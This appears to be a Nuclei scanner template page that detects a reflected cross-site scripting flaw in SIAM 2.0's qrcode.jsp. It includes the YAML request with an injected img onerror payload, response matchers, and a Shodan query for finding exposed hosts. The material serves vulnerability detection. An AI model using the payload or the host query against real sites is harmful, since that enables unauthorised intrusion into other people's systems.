SIAM 2.0 - Cross-Site Scripting

ID: siam-xss

Severity: medium

Author: 3th1c_yuk1

Tags: siam,convite,xss

Description

A Reflected Cross-Site Scripting (XSS) vulnerability has been identified in the SIAM Invitation application. The url parameter of the qrcode.jsp page does not properly sanitize user input, allowing the injection and execution of malicious scripts in the browser.

YAML Source

id: siam-xss

info:
  name: SIAM 2.0 - Cross-Site Scripting
  author: 3th1c_yuk1
  severity: medium
  description: |
    A Reflected Cross-Site Scripting (XSS) vulnerability has been identified in the SIAM Invitation application. The url parameter of the qrcode.jsp page does not properly sanitize user input, allowing the injection and execution of malicious scripts in the browser.
  reference: |
    - https://vuldb.com/?submit.496171
    - https://ftp.ogma.in/blog/understanding-and-mitigating-cve-2025-1359-siam-2-0-vulnerabilities
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"siam-convite"
  tags: siam,convite,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/siam-convite/qrcode.jsp?url=1%22%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src=x onerror=alert(document.domain)>'
          - 'SIAM</a>'
        condition: and

      - type: word
        part: content_type
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 490a004630440220190d89192135dd69e3ab5acd7f13a46643138bf163a41f81d87c520da13f3222022036e6dcb547feb14322064c609502a905401ed07d0cf33083bc07ffec868d78fd:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/other/siam-xss.yaml"

View on Github